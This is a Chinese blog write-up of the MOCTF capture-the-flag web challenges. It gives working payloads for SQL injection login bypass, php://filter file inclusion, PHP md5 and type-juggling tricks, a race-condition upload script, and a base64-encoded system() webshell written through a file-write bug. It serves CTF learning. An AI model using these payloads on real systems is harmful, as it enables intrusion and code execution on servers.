美文网首页CTF
MOCTF WriteUp

MOCTF WriteUp

作者: Eumenides_62ac | 来源:发表于2018-12-26 11:49 被阅读49次

    网址

    MOCTF

    Web

    一道水题

    F12查看源码直接得到。

    还是水题

    F12修改下maxlengthdisabled再提交moctf即可。

    访问限制

    进去要求满足:

    只允许使用NAIVE浏览器访问!
    只允许香港记者访问!

    用BP改下User-Agent:NAIVEAccept-Language:zh-HK即可。

    机器蛇

    F12提示有robots.txt,得到flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问F12得到flag。

    PHP黑魔法

    提示用源码,访问:/index.php~。F12得到源码。

    <?php
    
        $flag="moctf{**************}";
        
        if (isset($_GET['a'])&&isset($_GET['b'])) {
            $a=$_GET['a'];
            $b=$_GET['b'];
    
    
            if($a==$b) 
            {
                echo "<center>Wrong Answer!</center>";
            }
            else {
                if(md5($a)==md5($b)) 
                {
                    echo "<center>".$flag."</center>"; 
                    echo "By:daoyuan";
                }
                else echo "<center>Wrong Answer!</center>";
            }
            
        }
        else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
    ?>
    

    构造payload:?a[]=1&b[]=2
    得到flag。

    我想要钱

    给了源码:

    <?php
        include "flag.php";
        highlight_file(__FILE__);
    
        if (isset($_GET['money'])) {
            $money=$_GET['money'];
            if(strlen($money)<=4&&$money>time()&&!is_array($money))
            {
                echo $flag;
                echo "<!--By:daoyuan-->";
            }
            else echo "Wrong Answer!";
        }
        else echo "Wrong Answer!";
    ?>
    

    给个科学计数法的数字即可:?money=1e99

    登录就对了

    简单的sql注入。使用万能密码进入即可:

    usernmae=admin'#
    password=123
    

    文件包含

    进入看到url变成:/index.php?file=welcome.txt
    尝试发现flag.php。直接用伪协议来读源码好了。
    使用payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
    base64解码后就可以得到flag。

    暴跳老板

    提示要给老板发邮件。
    BP里构造:


    暴躁老板.png

    Flag在哪?

    超多301跳转。访问flagfrog.php即可。

    美味的饼干

    F12在网络里看到cookie字段有一串base64编码,解码后得ee11cbb19052e40b07aac0ca060c23ee。去somd5解码得到时user
    admin先md5后base64编码,再用BP发过去就好了。

    没时间解释了

    这是一道条件竞争题。
    302抓包访问uploadsomething.php
    这道题就是通过条件竞争漏洞来强制上传我们的php文件。
    在Burpsuite中把请求给Intruder模块


    payload选择Null payloads

    线程设置20

    再写个python脚本不断去请求就可以得到flag。
    import requests
    
    url = 'http://119.23.73.3:5006/web2/uploads/8894fa8eb7ab38cf32e6287023cde2d702cd1e98/1.php'
    while True:
        res = requests.get(url)
        if 'ctf' in res.text:
            print(res.text)
    

    死亡退出

    访问给了源码:

     <?php
      show_source(__FILE__);
      $c="<?php exit;?>";
      @$c.=$_POST['c'];
      @$filename=$_POST['file']; 
      if(!isset($filename))                    
      {                                       
        file_put_contents('tmp.php', ''); 
      }                                 
      @file_put_contents($filename, $c);
      include('tmp.php');
    ?>
    

    绕过<?php exit;?>,而base64编码会把<?;>过滤掉。file_put_contents会利用到php伪协议来读取文件流。
    所以先把<?php system('cat flag.php'); ?>base64编码成:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
    最后构造payload:

    ?c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
    

    这样<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==base64decode之后会变成^?Z<?php system('cat flag.php');?>,从而绕过。
    POST后F12得到Flag。

    火眼金睛

    写Python就完事儿了:

    import requests
    import re
    
    
    url = 'http://119.23.73.3:5001/web10/'
    s = requests.Session()
    res = s.get(url)
    answer = re.findall("moctf",res.text)
    num = len(answer)-1
    print(num)
    url = 'http://119.23.73.3:5001/web10/work.php'
    res = s.post(url,data={'answer':num})
    print(res.text)
    

    unset

    给了源码:

    <?php
    highlight_file('index.php');
    function waf($a){
    foreach($a as $key => $value){
            if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
    }
    }
    }
    foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
            if($$__R) { 
            foreach($$__R as $__k => $__v) { 
                if(isset($$__k) && $$__k == $__v) unset($$__k); 
            }
         }
    
    }
    if($_POST) { waf($_POST);}
    if($_GET) { waf($_GET); }
    if($_COOKIE) { waf($_COOKIE);}
    
    if($_POST) extract($_POST, EXTR_SKIP);
    if($_GET) extract($_GET, EXTR_SKIP);
    if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['daiker']){
            exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
            include($_GET['file']);
    }
    }
    
    ?>
    

    相关文章

      网友评论

        本文标题:MOCTF WriteUp

        本文链接:https://www.haomeiwen.com/subject/fuqhlqtx.html